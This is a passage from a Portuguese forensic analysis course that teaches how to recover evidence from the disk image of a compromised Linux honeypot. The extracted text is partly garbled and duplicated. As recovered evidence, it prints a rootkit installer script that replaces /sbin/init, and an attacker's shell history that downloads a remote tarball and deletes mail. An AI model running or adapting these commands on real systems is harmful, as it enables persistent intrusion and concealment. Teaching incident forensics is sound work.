/foremost.conf /data/dev_sda2_root.img.dls
Processing: /data/dev_sda2_root.img.dls
# ls /data/foremost
audit.txt htm jpg

CD de ferramentas
Deve-se criar ou utilizar um CD com ferramentas teis
ao trabalho do investigador.
O Live CD do Helix uma boa opo, mas caso o seu
trabalho seja exclusivamente realizar investigaes de
incidente, voc deveria pensar em criar seu prprio
CD de ferramentas.
A primeira coisa que deve existir em um CD de
ferramentas forenses um interpretador de comandos
confivel.

CD de ferramentas
Alm de um interpretador de comandos, o CD deve
conter as seguintes ferramentas:
Todas as ferramentas bsicas vistas anteriormente.
Todas as ferramentas do pacote forense escolhido.
Ferramentas bsicas do sistema:
ls, cp, mv, rm, chroot, cat, less, more, chmod, chown, chgrp,
date, df, du, cut, sort, strip, tail, head, ln, arp, echo, env,
hostname, id, ifconfig, pwd, touch, uniq, uptime, wc, who.

Ferramentas de manipulao e compilao de objetos:


cc, ld, nm, ldd, addr2line, ar, as, gprof, objcopy, objdump,
ranlib.

Anlise forense Sesso de aprendizagem 3

O comando foremost cria tambm um arquivo


chamado audit.txt que contm informaes sobre a
localizao dos arquivos recuperados:
# cat /data/foremost/audit.txt8
Foremost version 1.5 by Jesse Kornblum, Kris
Kendall, and Nick Mikus
Audit File
Foremost started at Mon Jan 14 21:03:44 2008
Invocation: foremost -o /data/foremost -c /data/
foremost.conf /data/dev_sda2_root.img.dls
Output directory: /data/foremost
Configuration file: /data/foremost.conf
----------------------------------------------------------------File: /data/dev_sda2_root.img.dls
Start: Mon Jan 14 21:03:44 2008
Length: 49 MB (52106240 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00000422.jpg 77 KB 216260
1: 00000482.jpg 46 KB 247042
2: 00000679.jpg 2 KB 348009

CD de ferramentas
Durante uma investigao, importante que o investigador tenha em mos todas as ferramentas necessrias para o seu trabalho.
necessrio compilar estaticamente todas as ferramentas do CD, para evitar o comprometimento por
binrios ou bibliotecas suspeitas.

67

Concluses
O sistema operacional utilizado pelo investigador
precisa ser flexvel e confivel.
Deve dispor de ferramentas bsicas que auxiliem na
tarefa de analisar dezenas de gigabytes de dados.
A utilizao de um pacote de ferramentas forenses
indispensvel.
Todas as ferramentas utilizadas devem estar
disponveis em um CD, compiladas estaticamente e
prontas para utilizao em qualquer situao.

Ambiente e ferramentas de anlise forense (parte 2)

Concluses
Na prxima sesso conheceremos as tcnicas para
coleta de evidncias a partir da imagem do disco
de uma mquina comprometida. Apesar desta ser a
parte mais demorada do processo, veremos que as
tcnicas so simples e de fcil execuo.

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 3

68

3
Sesso de aprendizagem 3
Ambiente e ferramentas de anlise
forense (parte 2)
Roteiro de atividades
Tpicos e conceitos
\\Utilizao

de comandos do sistema operacional e do pacote forense de


ferramentas.

Competncias tcnicas desenvolvidas


\\Encontrar

arquivos escondidos no disco e verificar o seu contedo

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-110

minutos

Escola Superior de Redes RNP

70

Atividade 1 Investigando o disco


Existe um arquivo escondido em algum lugar no diretrio /data, sobre o


qual no se sabe nada. O aluno, sozinho ou com um colega, deve utilizar
somente as ferramentas bsicas vistas nessa sesso para encontrar o
arquivo, e sem execut-lo, descobrir suas funcionalidades. O aluno deve
preparar um relatrio explicando os comandos que utilizou para
encontrar o arquivo e para analisar seu contedo de modo a descobrir
suas funcionalidades. O relatrio deve conter o hash do arquivo, tipo,
nome e diretrio local onde foi encontrado, bibliotecas utilizadas e
qualquer informao extra que julgue importante para identificar o
arquivo. Existe algum arquivo no sistema do Helix que tenha a mesma
assinatura desse arquivo? Se encontrar um arquivo com mesmo hash,
inclua isso em seu relatrio. Discuta com seus colegas as tcnicas,
dificuldades e solues encontradas neste exerccio. (Guarde 15 minutos
para discusso com os demais alunos.)

Atividade 2 Uso do Sleuth Kit


1. Utilizando as ferramentas do Sleuth Kit, recupere todos os arquivos
removidos da imagem disponvel em /data/dev_sda2_root.img.
Primeiramente preciso encontrar esses arquivos, e depois recuper-los.
Faa um relatrio com as ferramentas e os passos utilizados para a
realizao dessa tarefa. Compare tambm os arquivos recuperados com
os arquivos existentes no Live CD do Helix.
2. Junto com um colega, encontre e recupere os arquivos presentes na
imagem /data/dev_sda2_root.img que contm o texto know what to do
with. Isso deve ser feito sem montar a imagem, apenas utilizando as
ferramentas do Sleuth Kit. Faa um relatrio com os passos e
ferramentas necessrias, e discuta com seus colegas as tcnicas que
poderiam ser utilizadas caso voc tivesse acesso ao dispositivo montado,
isto , se fosse possvel montar o dispositivo original em um diretrio e
voc tivesse acesso direto aos arquivos, que tcnicas poderiam ser
utilizadas para realizar a tarefa? Discuta o resultado com outros grupos.

Anlise forense Sesso de aprendizagem 3

4
Sesso de aprendizagem 4
Coleta de evidncias
Sumrio da sesso
Coleta de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Sistema comprometido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Tipos de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Armazenagem de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Tcnicas de coleta. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Arquivos de logs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Arquivos de inicializao do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Arquivos de histrico de comandos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
Checando arquivos importantes do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Atividade 1 Coletando evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

72

Escola Superior de Redes RNP

Coleta de evidncias

Coleta de evidncias
A anlise forense de mdias tem o objetivo de
recuperar evidncias que comprovem a invaso do
computador analisado.
O investigador deve ser imparcial em seu julgamento
e na coleta de provas.
O processo de coleta de evidncias demorado e
varia de caso para caso.
Vamos nos concentrar em conhecer as evidncias
importantes e a forma de recuper-las do disco, para
depois analis-las e tentar montar uma linha de tempo
do ataque.

importante tentar recuperar qualquer programa ou


arquivo de dados instalado ou utilizado pelo invasor.
A inteno da anlise forense no comprovar a
culpa de algum. O investigador deve ser imparcial
em seu julgamento e na coleta de provas. Em alguns
casos, to importante comprovar a inocncia
quanto a culpa de algum.

Em alguns casos especficos, ser necessria uma


anlise mais avanada de alguma evidncia. Por
exemplo, realizar a engenharia reversa de algum executvel suspeito encontrado
na mquina comprometida.

Sistema comprometido

Sistema comprometido
Utilizaremos um modelo virtual de um sistema comprometido,
utilizado no Scan Of The Month 29 do projeto Honeynet.
Esta mquina virtual foi parada em um momento especfico
aps a invaso, para que fosse possvel analisar o sistema
como se estivesse utilizando a mquina.
Como esta mquina virtual antiga, as verses mais novas do
VMWare no conseguem mais abri-la.
Por isso, vamos utilizar uma outra mquina virtual, configurada
para usar o disco da mquina antiga.
Dessa forma, poderemos acessar o disco com um Live CD do
Helix, e capturar uma imagem do disco.
essa imagem que vamos analisar nas prximas sesses.

No material do aluno existe uma mquina virtual


chamada Linux, que pode ser utilizada para testar
o procedimento de coleta da imagem do disco do
sistema comprometido. Alm disso, a mquina virtual
original do Scan of the Month 29 est disponvel, e
chama-se linux-suspended.tgz.

Esta mquina virtual do SOTM29 foi utilizada como


exemplo no trabalho de certificao para o SANS de
um tcnico da RNP, Jacomo D. B. Piccolini. Este trabalho ilustra muito bem o modo de realizar a anlise
forense em um sistema vivo. Como a quantidade de evidncias encontradas nessa
mquina muito grande, no iremos procurar exaustivamente por elas.
Nos exerccios que veremos ao longo da sesso, mostraremos alguns exemplos
de evidncias que podem ser encontradas, embora fique a cargo do aluno pesquisar o resultado dos exemplos e tentar identificar mais evidncias.

Tipos de evidncias
Qualquer tipo de informao encontrada na mquina
suspeita pode ser considerado uma evidncia.
Arquivos de logs
Arquivos apagados
Histricos de comandos
Binrios comprometidos
Arquivos em diretrios suspeitos
Arquivos abertos no momento da coleta inicial de
evidncias
Dados importantes que possam ter sido comprometidos
Datas de acesso, de modificao e de criao de arquivos

Anlise forense Sesso de aprendizagem 4

Tipos de evidncias

73

Primeiros passos
Esta a imagem da tela do sistema aps ter sido
comprometido e antes de ser parado para anlise.
Note a presena de informaes importantes, como o
sistema operacional utilizado, a data em que o sistema
foi parado e as mensagens que aparecem na imagem,
como por exemplo as mensagens informando que a
interface de rede entrou em modo promscuo.

Um bom ponto
de partida so as
informaes coletadas
durante o momento da
captura do computador
comprometido.

Uma informao que queremos manter so os timestamps de escrita e montagem do disco. Se montarmos a imagem sem a preocupao de proteger as
evidncias, elas sero perdidas e isto pode prejudicar a investigao.
Entretanto, ao executar este comando percebemos que ocorre um erro e a imagem no montada. Aparentemente, o processo de desligar a mquina sem desligar
o sistema operacional corretamente acabou prejudicando a estrutura do disco. Este
tipo de situao pode ocorrer com freqncia em uma investigao, onde o investigador tem que escolher entre prejudicar uma evidncia ou ter acesso a mais evidncias.

Primeiros passos
Para comear a procurar por evidncias na imagem do disco comprometido,
ser necessrio ter acesso ao sistema de arquivos dessa imagem.
importante sempre manter a integridade de todas as evidncias.
# mkdir /mnt/image

O que precisamos fazer agora arrumar a imagem


do dispositivo. Existem duas maneiras de fazer isso:
utilizando o comando fsck para fixar os problemas
do disco ou simplesmente montando a imagem em
modo de leitura e escrita.

# mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image o


ro,loop,noatime,nodev,noexec t ext2
# fsstat /data/compromised/compromised_hda1.img | less
FILE SYSTEM INFORMATION
-------------------------------------------File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug

9 15:34:26 2003

Last Checked at: Mon Jul 14 14:52:13 2003


Last Mounted at: Sat Aug

9 15:34:26 2003

Antes de tentar recuperar o acesso a imagem, precisamos salvar as informaes que sero perdidas. Quando
montamos um dispositivo, o kernel do sistema operacional atualiza os tempos de ltima escrita e de ltima data
de montagem do mesmo. Precisamos salvar essas informaes antes de prosseguir. Lembre-se de que temos
uma ferramenta que pode ser muito til, o fsstat.

# fsstat /data/compromised/compromised_hda1.img | less8


FILE SYSTEM INFORMATION
-------------------------------------------File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003
Unmounted properly
Last mounted on:
Source OS: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype, Needs Recovery,
Read Only Compat Features: Sparse Super,

Coleta de evidncias

74

Escola Superior de Redes RNP


CONTENT INFORMATION
-------------------------------------------Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 144419

Temos algumas informaes importantes no resultado acima. Primeiramente,


vemos as datas de modificao da imagem. Podemos ver que a data em que o
dispositivo foi escrito pela ltima vez igual data em que ele foi montado pela
ltima vez. Como esta era a raiz do sistema, esta data de modificao pode
indicar a data em que o sistema foi ligado pela ltima vez. Se compararmos com
a data mostrada na foto do monitor da mquina, vemos que ela foi provavelmente
ligada s 15:34:26 do dia 9 de agosto de 2003, e o sistema foi desligado para
coleta do disco em 10 de agosto de 2003, s 20:30:39, ou seja, no dia seguinte.
Estas datas so importantes para delimitar o perodo em que o invasor poderia
ter tido acesso mquina.
Podemos ver tambm na sada do comando que o tamanho do bloco de dados
de 4096 bytes. Vamos utilizar essa informao posteriormente com as ferramentas do Sleuth Kit.
# mkdir /mnt/image8
# mount /data/compromised/compromised_hda1.img /mnt/image o ro,loop,noatime,
nodev,noexec t ext28
# fsstat /data/compromised/compromised_hda1.img | less8
FILE SYSTEM INFORMATION
-------------------------------------------File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003

No primeiro exemplo, realizamos uma procura por


arquivos modificados a partir de uma data determinada.

Primeiros passos
Algumas ferramentas do sistema podem ser usadas na
investigao, e muitas vezes so essenciais para o trabalho.
A coleta de evidncias um processo cclico. Cada evidncia
encontrada leva a novas pistas e o processo deve ser
reiniciado com as novas informaes.
# find /mnt/image atime 1825 or mtime 1825

O segundo mostra como procurar por arquivos alterados a partir da data de modificao de um arquivo
qualquer, para descobrir modificaes e acessos
posteriores.

# find /mnt/image/ -anewer /mnt/image/bin/date ls


# find /mnt/image/dev/ -not -type c and -not -type b ls
# file /mnt/image/dev/ttyop
# strings /mnt/image/dev/ttyop

O terceiro mostra como procurar por tipos especficos de arquivos.


Os dois ltimos comandos mostram como identificar o
contedo de um arquivo e visualiz-lo de forma segura.

# find /mnt/image atime 1825 or mtime 18258


# find /mnt/image/ -anewer /mnt/image/bin/date ls8

Anlise forense Sesso de aprendizagem 4

75

# find /mnt/image/dev/ -not -type c and -not -type b ls8


# file /mnt/image/dev/ttyop8
# strings /mnt/image/dev/ttyop8

Armazenagem de evidncias
Armazenar evidncias de forma segura e padronizada:
Garante a integridade das mesmas.
Permite recuperar e correlacionar de forma fcil as
evidncias.
Mantm a cadeia de custdia das evidncias,
permitindo o controle do acesso a elas.
O local de armazenagem deve ser seguro e ter acesso
controlado.

Armazenagem de evidncias
tag#

20080118-1750-txt-0001

Tipo

Arquivo de texto

Nome

/mnt/image/dev/ttyop

SHA1 hash

2a7badc291e94f3dcb621c0b7abf100eb0ad88cd

Tamanho

74 bytes

Data

2002/03/18

Descrio

Arquivo com nomes de processos/arquivos

Observaes

Relacionado com evidncias 20040907-1750txt-0002 e 20040907-1750-txt-0003

Armazenagem de evidncias
tag#
Tipo
Nome
SHA1 hash
Tamanho
Data
Descrio

20080118-1750-txt-0002
Arquivo de texto
/mnt/image/dev/ttyoa
fe3b2e77710875617dee295e1f880b
9fcc4d9300
134 bytes
2002/09/04
Arquivo com endereos de
rede/portas

Observaes

Coleta de evidncias

Armazenagem de evidncias
necessrio manter uma cadeia de custdia das
evidncias encontradas. Para isso, precisamos identificar e armazenar cada evidncia de forma segura e
de modo que seja possvel identificar rapidamente a
procedncia de cada uma. Para isso, vamos usar um
sistema de fichas para cada evidncia encontrada.
Veja os detalhes que guardamos em cada ficha. O
primeiro campo uma tag nica de identificao,
para podermos referenciar cada evidncia posteriormente. interessante criar essa tag com referncia
data e hora em que ela foi encontrada, ou a data e
hora de criao do arquivo.
Temos tambm informaes sobre o arquivo em si.
Nome, tipo do arquivo, tamanho e data de criao,
uma descrio do que o arquivo e o hash SHA1 do
mesmo. Com isso, teremos informaes suficientes
para identificar e referenciar o arquivo em um relatrio, bem como garantir que o arquivo estar to
ntegro como no momento em que foi encontrado.

76

Escola Superior de Redes RNP

Tcnicas de coleta

Tcnicas de coleta
Utilizar inicialmente as ferramentas do sistema para
encontrar pistas valiosas.
# find /mnt/image -name .\*

Os exemplos de comandos mostram diversas formas


de procurar por evidncias em disco:
# find /mnt/image -name .\*8

# find /mnt/image name [ ]*.*


# strings -a -n4 /data/compromised/compromised_hda1.img
# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}
/data/compromised/compromised_hda1.img.str
# grep -i ttyoa
/data/compromised/compromised_hda1.img.str

# find /mnt/image name [ ]*.*8


# strings -a -n4 /data/compromised/compromised_hda1
.img8

# grep tar\.gz
/data/compromised/compromised_hda1.img.str

# grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
]{1,3} /data/compromised/compromised_hda1.img.str8

# grep -f /data/dirt_list.txt
/data/compromised/compromised_hda1.img.str

# grep -i ttyoa /data/compromised/compromised_hda


1.img.str8
# grep tar\.gz /data/compromised/compromised_
hda1.img.str8
# grep -f /data/dirt_list.txt /data/compromised/
compromised_hda1.img.str8
\\O

primeiro exemplo de comando procura por arquivos que comecem com um


ponto, que no Linux correspondem a arquivos escondidos (atributos hidden,
como no DOS). Eles podem ser importantes para encontrar arquivos que
normalmente no so mostrados em um ls l.

\\O

segundo exemplo de comando procura por arquivos que tenham um


nome com um ou mais espaos. Estes arquivos so difceis de encontrar se
fizermos uma listagem em um diretrio com muitos arquivos.

\\O

terceiro exemplo de comando extrai da imagem do dispositivo todas as


strings com mais de 4 caracteres.

\\O

quarto comando mostra como procurar por endereos IP no arquivo de strings.

\\O

comando seguinte mostra um exemplo de arquivo suspeito, e o modo como


procurar na imagem por referncias a este arquivo.

\\O

penltimo exemplo mostra como procurar por referncias a arquivos


compactados na imagem, importante para descobrir pacotes de ferramentas
instaladas pelo hacker.

\\O

ltimo exemplo mostra como utilizar uma dirt list para realizar uma procura
na imagem por palavras-chave.

Anlise forense Sesso de aprendizagem 4

77

# ls la /mnt/image/var/log8

Tcnicas de coleta

# more /mnt/image/var/log/boot.log8

Analisar os arquivos de sistema, logs, binrios,


inicializao e histricos de comandos.
Verificar dados importantes armazenados em disco.
# ls la /mnt/image/var/log
# more /mnt/image/var/log/boot.log
# more /mnt/image/var/log/secure
# more /mnt/image/var/log/maillog
# find /mnt/image -name \*.log

# more /mnt/image/var/log/secure8
# more /mnt/image/var/log/maillog8
# find /mnt/image -name \*.log8
# more /mnt/image/etc/opt/psybnc/log/psybnc.log8
# cat /mnt/image/usr/lib/libice.log8

# more /mnt/image/etc/opt/psybnc/log/psybnc.log
# cat /mnt/image/usr/lib/libice.log

Os arquivos de log so importantes, pois contm


informaes de tempo sobre os eventos ocorridos
na mquina, podendo ser relacionados a fontes
externas como logs de roteadores e firewalls. No
entanto, importante no confiar somente no log.

Nos exemplos, diversos arquivos de log de interesse para a investigao e o modo


de procurar por mais logs no sistema. Tambm podemos ver alguns arquivos de log
abandonados pelo hacker.
Algumas vezes, a invaso feita apenas para comprometer cdigos-fonte ou banco
de dados armazenados na mquina.

Arquivos de logs

Arquivos de logs
A anlise de arquivos de logs um passo importante
na anlise forense, embora nunca se deva confiar
totalmente em um log.
s vezes, at mesmo a falta de alguma informao em
um log pode ser uma evidncia importante.
O investigador deve procurar todos os arquivos de
logs armazenados em disco.
importante tentar correlacionar os logs com outros
eventos: data de criao/acesso/remoo de arquivos,
outros logs, eventos capturados em dispositivos de
rede etc.

A anlise de arquivos de logs um passo importante


na anlise forense, embora nunca se deva confiar
totalmente em um log. s vezes, at mesmo a falta
de alguma informao em um log pode ser uma
evidncia importante. O investigador deve procurar
todos os arquivos de logs armazenados em disco.
importante tentar correlacionar os logs com outros
eventos: data de criao/acesso/remoo de arquivos, outros logs, eventos capturados em dispositivos
de rede etc.

O investigador deve procurar todas as informaes pertinentes que estejam relacionadas a uma evidncia, e lembrar de correlacionar eventos nos logs com evidncias
encontradas anteriormente. Sempre que encontrar novas evidncias, deve retomar
o processo de procura de evidncias utilizando as novas informaes encontradas.

Coleta de evidncias

78

Escola Superior de Redes RNP


Logs de e-mail podem fornecer boas pistas:

Arquivos de logs

# more maillog8

Logs de e-mail podem fornecer boas pistas

Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04


763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48
), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, p
ri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], d
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com,
sn=2.0.0, stat=Sent (ok dirdel)
ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043,
relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn2
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com,
ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043,
3300: to=newptraceuser@yahoo.com, ctladdr=apache (4
relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection
timed out with mx4.mail.yahoo.com.
8/48), delay=00:07:10, xdelay=00:07:10, mailer=esmt
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629:
p, pri=30043, relay=mx4.mail.yahoo.com. [216.136.12
to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10,
mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0,
9.6], dsn=2.0.0, stat=Sent (ok dirdel)
stat=Service unavailable
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC2
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service
unavailable
3321: to=newptraceuser@yahoo.com, ctladdr=apache
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com,
(48/48), delay=00:12:00, xdelay=00:12:00, mailer=es
ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043,
relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)
mtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.
129.17], dsn=4.0.0, stat=Deferred: Connection timed
out with mx4.mail.yahoo.com.
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@y
ahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pr
i=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service una
vailable
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Ser
vice unavailable
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.
com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri
=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dir
del)

# more maillog

Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com,


ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300,
relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)

Neste exemplo de log observamos diversas evidncias sobre a invaso do sistema: o


arquivo de log de envio de e-mail e diversos e-mails enviados para usurios externos.
Alm dos endereos externos de e-mail, que podem ser uma indicao de pista do
invasor da mquina, temos tambm a informao do usurio local que enviou o e-mail.
Repare que nos primeiros casos, temos o usurio apache com UID 48 enviando
o e-mail, e a seguir temos o usurio root com UID 0 enviando e-mail, o que pode
ser uma indicao do momento em que ocorreu a invaso e o comprometimento do
sistema, com a obteno do acesso de super usurio pelo invasor.
Constatamos tambm que possivelmente o ataque ocorreu atravs do servio HTTP.

Arquivos de inicializao do sistema


Ao invadir uma mquina, o atacante tenta garantir o
controle do sistema atravs da instalao de rootkits
ou ferramentas de backdoor.
Para isso, ser necessrio modificar os arquivos de
inicializao da mquina, ou ento substituir
executveis do sistema por verses comprometidas
com backdoors.
Os arquivos utilizados variam dependendo do tipo de
sistema que estiver sendo utilizado.

Anlise forense Sesso de aprendizagem 4

Arquivos de inicializao do sistema


Normalmente, ao invadir uma mquina o atacante tenta
garantir o controle do sistema atravs da instalao
de rootkits ou ferramentas de backdoor. Para isso,
ser necessrio modificar os arquivos de inicializao
da mquina, ou ento substituir executveis do sistema
por verses comprometidas com backdoors.
Os arquivos utilizados variam dependendo do tipo
de sistema que estiver sendo utilizado; normalmente
so nomeados /etc/rc.* ou /etc/rc.d/*. Dois arquivos
normalmente utilizados:

79

\\rc.sysinit

(/etc/rc em distribuies Debian)

\\/etc/rc.local

Muitas vezes, arquivos de inicializao podem conter comandos para controlar o sistema aps reiniciar a mquina, fornecendo pistas de onde procurar por mais evidncias.
No exemplo, encontramos o arquivo de instalao de um rootkit:
# find /mnt/image/ -name inst8
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# file /mnt/image/lib/.x/inst8
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable
# cat /mnt/image/lib/.x/inst8
#!/bin/bash
D=/lib/.x
H=13996
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e \037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17
0\
...
\313\233\330\157\000\000 | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H};
fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo Have phun!
# find /mnt/image/ -name inst8

Arquivos de inicializao do sistema


No exemplo, encontramos o arquivo de instalao de
um rootkit
# find /mnt/image/ -name inst
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# file /mnt/image/lib/.x/inst
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable
# cat /mnt/image/lib/.x/inst
#!/bin/bash
D="/lib/.x"
H="13996"
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\
...
\313\233\330\157\000\000" | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f
/sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo Have phun!

Coleta de evidncias

/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# file /mnt/image/lib/.x/inst8
/mnt/image/lib/.x/inst: Bourne-Again shell script
text executable
# cat /mnt/image/lib/.x/inst8
#!/bin/bash
D=/lib/.x
H=13996
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e \037\213\010\010\114\115\016\076\002\00
3\163\153\000\355\175\177\170\
...
\313\233\330\157\000\000 | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp
-f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init;
cp sk /sbin/init
echo Your home is $D, go there and type ./sk to ins
tall
echo Have phun!

80

Escola Superior de Redes RNP

Arquivos de histrico de comandos


Uma das primeiras providncias tomadas por um
invasor ao adquirir o controle de uma mquina tentar
apagar seus rastros.
A maioria dos invasores no tm um conhecimento
profundo do sistema.
Os histricos de comandos so criados pelo shell e
geralmente armazenados em arquivo no fim da sesso.
Muitos invasores esquecem desse detalhe.
Alguns invasores costumam remover o histrico de
comandos e redirecionar o arquivo para o dispositivo
/dev/null

Arquivos de histrico de comandos


Uma das primeiras providncias tomadas por um invasor
ao adquirir o controle de uma mquina tentar apagar
seus rastros. Por isso, muitas vezes os arquivos de
logs ou de histrico de comandos so apagados.
A maioria dos invasores no tm um conhecimento
profundo do sistema, e geralmente no conseguem
remover todos os seus rastros. Os histricos de
comandos so criados pelo shell e geralmente
armazenados em arquivo no fim da sesso. Muitos
invasores esquecem desse detalhe.

Alguns invasores costumam remover o histrico de comandos e redirecionar o


arquivo para o dispositivo /dev/null. Outra forma de procurar por histricos de
comandos tentar encontr-los no arquivo de strings extradas da imagem.
Abaixo observamos alguns exemplos de como procurar por arquivos de histricos
de comandos no sistema, e tambm o modo como eles podem conter informaes interessantes sobre as atividades do atacante. Os dados coletados aqui
podem ser teis para procurar novamente por arquivos suspeitos na mquina,
atravs dos comandos estudados at agora.
# find /mnt/image/ -name .*history -ls8
47172 0 lrwxrwxrwx 1 root root 9 Aug 10 2003 /mnt/image/root/.bash_history -> /
dev/null
3188 4 -rw------- 1 root root 235 Aug 10 2003 /mnt/image/.bash_history
# file /mnt/image/.bash_history8
amore/mnt/image/.bash_history: ASCII text
# cat /mnt/image/.bash_history8
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302
# grep izolam.net /data/compromised/compromised_hda1.img.str8

Anlise forense Sesso de aprendizagem 4

81

Checando arquivos importantes do sistema


O processo de procurar evidncias manualmente pode
ser muito demorado e cansativo. Nestes casos, pode
ser mais eficiente utilizar algumas ferramentas para
facilitar essa pesquisa.
Chkrootkit e um antivrus so um bom auxlio ao
investigador.
Estas ferramentas podem nos auxiliar a confirmar
informaes que havamos encontrado anteriormente,
bem como detectar novas evidncias da invaso.
Um antivrus pode nos ajudar a encontrar evidncias
mais difceis de detectar pelas tcnicas normais.

Checando arquivos importantes do sistema


Prtica:
Apenas como exerccio, execute o comando abaixo e
veja se acha algo interessante:
# find /mnt/image/ -anewer /mnt/image/dev/hdx1

-ls | less

Lembra o que o comando acima faz?


Anote os arquivos de interesse e inclua-os na lista de
evidncias.

Concluses
Vimos nesta sesso o que so evidncias e como
trat-las e armazen-las de maneira a garantir a
integridade e a cadeia de custdia das mesmas.
Aprendemos a encontrar evidncias utilizando
ferramentas bsicas disponveis em qualquer
distribuio Linux.
Ainda existem muitas evidncias presentes na
